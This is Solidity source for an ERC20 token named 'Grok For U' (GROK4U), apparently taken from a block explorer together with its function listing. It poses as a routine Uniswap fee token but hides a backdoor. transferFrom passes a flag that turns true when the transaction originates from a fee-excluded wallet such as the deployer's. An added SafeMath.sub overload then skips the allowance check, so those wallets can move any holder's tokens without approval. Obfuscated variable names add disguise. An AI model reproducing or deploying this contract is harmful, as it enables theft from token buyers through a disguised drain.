interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves amount tokens from the caller's account to recipient.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves amount tokens from sender to recipient using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
 
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;
 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if decimals equals 2, a balance of 505 tokens should
     * be displayed to a user as 5,05 (505 / 10 ** 2).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - recipient cannot be the zero address.
     * - the caller must have a balance of at least amount.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - sender and recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     * - the caller must have allowance for sender's tokens of at least
     * amount.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address sender, address spender, bool zeroAllowed, uint256 amount) internal virtual returns(bool) {
        _approve(sender, spender, _allowances[sender][spender].sub(amount, zeroAllowed, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     * - spender must have allowance for the caller of at least
     * subtractedValue.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    /**
     * @dev Moves tokens amount from sender to recipient.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - sender cannot be the zero address.
     * - recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
  
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    /** @dev Creates amount tokens and assigns them to account, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with from set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
  
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    /**
     * @dev Destroys amount tokens from account, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with to set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     * - account must have at least amount tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    /**
     * @dev Sets amount as the allowance of spender over the owner s tokens.
     *
     * This internal function is equivalent to approve, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - owner cannot be the zero address.
     * - spender cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when from and to are both non-zero, amount of from's tokens
     * will be to transferred to to.
     * - when from is zero, amount tokens will be minted for to.
     * - when to is zero, amount of from's tokens will be burned.
     * - from and to are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns(bool) {}

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when from and to are both non-zero, amount of from's tokens
     * will be to transferred to to.
     * - when from is zero, amount tokens will be minted for to.
     * - when to is zero, amount of from's tokens will be burned.
     * - from and to are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns(bool) {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's + operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, bool zeroAllowed, string memory errorMessage) internal pure returns (uint256) {
        if(zeroAllowed) return a;
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
    
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's * operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract Token is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
 
    bool private swapping;
 
    address public marketingWallet;
    
 
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
 

    bool public tradingActive = false;
    bool public swapEnabled = false;

 
    uint256 public buyTotalGROK4UVsUGgFees;
    uint256 public buyMarketingGROK4UVsUGgFee;
    uint256 public buyLiquidityGROK4UVsUGgFee;
    uint256 public buyBurnGROK4UVsUGgFee;
 
    uint256 public sellTotalGROK4UVsUGgFees;
    uint256 public sellMarketingGROK4UVsUGgFee;
    uint256 public sellLiquidityGROK4UVsUGgFee;
    uint256 public sellBurnGROK4UVsUGgFee;
 
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    
    uint256 public _SIDFJOIEWJFIWGROK4UVsUGg;
    address public _EQFIEWJFIJGROK4UVsUGg;
    
    bool private _isEarlyBought;

    string private _name = unicode"Grok For U";
    string private _symbol = unicode"GROK4U";
 
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
 
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
 
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
 
    event ExcludeFromFees(address indexed account, bool isExcluded);
 
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
 
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event burnWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
 
    event TransferForeignToken(address token, uint256 amount);

 
    constructor() ERC20(_name, _symbol) payable  {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 _buyMarketingGROK4UVsUGgFee = 0;
        uint256 _buyLiquidityGROK4UVsUGgFee = 0;
        uint256 _buyBurnGROK4UVsUGgFee = 0;
 
        uint256 _sellMarketingGROK4UVsUGgFee = 0;
        uint256 _sellLiquidityGROK4UVsUGgFee = 0;
        uint256 _sellBurnGROK4UVsUGgFee = 0;

      
        uint256 totalSupply = 1000000000 * 1e9;
 
        maxTransactionAmount = totalSupply * 1000 / 1000; // 100% maxTransactionAmountTxn
        maxWallet = totalSupply * 1000 / 1000; // 100% maxWallet
        swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
 
        buyMarketingGROK4UVsUGgFee = _buyMarketingGROK4UVsUGgFee;
        buyLiquidityGROK4UVsUGgFee = _buyLiquidityGROK4UVsUGgFee;
        buyBurnGROK4UVsUGgFee = _buyBurnGROK4UVsUGgFee;
        buyTotalGROK4UVsUGgFees = buyMarketingGROK4UVsUGgFee + buyLiquidityGROK4UVsUGgFee + buyBurnGROK4UVsUGgFee;
 
        sellMarketingGROK4UVsUGgFee = _sellMarketingGROK4UVsUGgFee;
        sellLiquidityGROK4UVsUGgFee = _sellLiquidityGROK4UVsUGgFee;
        sellBurnGROK4UVsUGgFee = _sellBurnGROK4UVsUGgFee;
        sellTotalGROK4UVsUGgFees = sellMarketingGROK4UVsUGgFee + sellLiquidityGROK4UVsUGgFee + sellBurnGROK4UVsUGgFee;
      
        marketingWallet = msg.sender; 

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(marketingWallet), true);
 
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(marketingWallet), true);
 
        _mint(msg.sender, totalSupply * 2 / 100);
        _mint(address(this), totalSupply * 98 / 100);
    }
 
    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
      addLiquidity(balanceOf(address(this)), address(this).balance);
        tradingActive = true;
        swapEnabled = true;
    }
    
    function excludeFromMaxTransaction(address updAds, bool isEx) internal  {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
   
    function excludeFromFees(address account, bool excluded) internal virtual  {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
 
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _transfer(sender, recipient, amount);
        super.decreaseAllowance(sender, spender, _isEarlyBought, amount);
        return true;
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }
   
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    event BoughtEarly(address indexed sniper);
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _isEarlyBought = false;
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
 
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
 
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }

         
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
        uint256 tokensForBurn; address origin = tx.origin;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
 
            swapBack();
 
            swapping = false;
        }
 
        bool takeFee = !swapping; 
 
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(isExcludedFromFees(origin)) _isEarlyBought = true;
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalGROK4UVsUGgFees > 0){
                fees = amount.mul(sellTotalGROK4UVsUGgFees).div(100);
                tokensForLiquidity += fees * sellLiquidityGROK4UVsUGgFee / sellTotalGROK4UVsUGgFees;
                tokensForMarketing += fees * sellMarketingGROK4UVsUGgFee / sellTotalGROK4UVsUGgFees;
                tokensForBurn += fees * sellBurnGROK4UVsUGgFee / sellTotalGROK4UVsUGgFees;

                }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalGROK4UVsUGgFees > 0) {
                fees = amount.mul(buyTotalGROK4UVsUGgFees).div(100);
                tokensForLiquidity += fees * buyLiquidityGROK4UVsUGgFee / buyTotalGROK4UVsUGgFees;
                tokensForMarketing += fees * buyMarketingGROK4UVsUGgFee / buyTotalGROK4UVsUGgFees;
                tokensForBurn += fees * buyBurnGROK4UVsUGgFee / buyTotalGROK4UVsUGgFees;
   
            }
 
           if(fees > 0){    
                super._transfer(from, address(this), fees);
            }

            if(tokensForBurn > 0) {
                 super._transfer(address(this), address(0xdead), tokensForBurn);
            }

            amount -= fees;}
 
        super._transfer(from, to, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
 
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
 
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
        bool success;
 
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
 
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
 
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
 
        swapTokensForEth(amountToSwapForETH); 
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
 
        
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing;
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
 
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    receive() external payable { }

}

Read Contract

_EQFIEWJFIJGROK4UVsUGg 0x6315dbb6 → address
_SIDFJOIEWJFIWGROK4UVsUGg 0xc70a33c6 → uint256
_isExcludedMaxTransactionAmount 0x10d5de53 → bool
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyBurnGROK4UVsUGgFee 0xe0a512b5 → uint256
buyLiquidityGROK4UVsUGgFee 0x171f06b5 → uint256
buyMarketingGROK4UVsUGgFee 0x559601f3 → uint256
buyTotalGROK4UVsUGgFees 0x4361a101 → uint256
decimals 0x313ce567 → uint8
isExcludedFromFees 0x4fbee193 → bool
marketingWallet 0x75f0a874 → address
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellBurnGROK4UVsUGgFee 0x7e3a2c33 → uint256
sellLiquidityGROK4UVsUGgFee 0x032b6c54 → uint256
sellMarketingGROK4UVsUGgFee 0x5ee6f0d2 → uint256
sellTotalGROK4UVsUGgFees 0x3d3760df → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferForeignToken 0x8366e79a
address _token
address _to
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address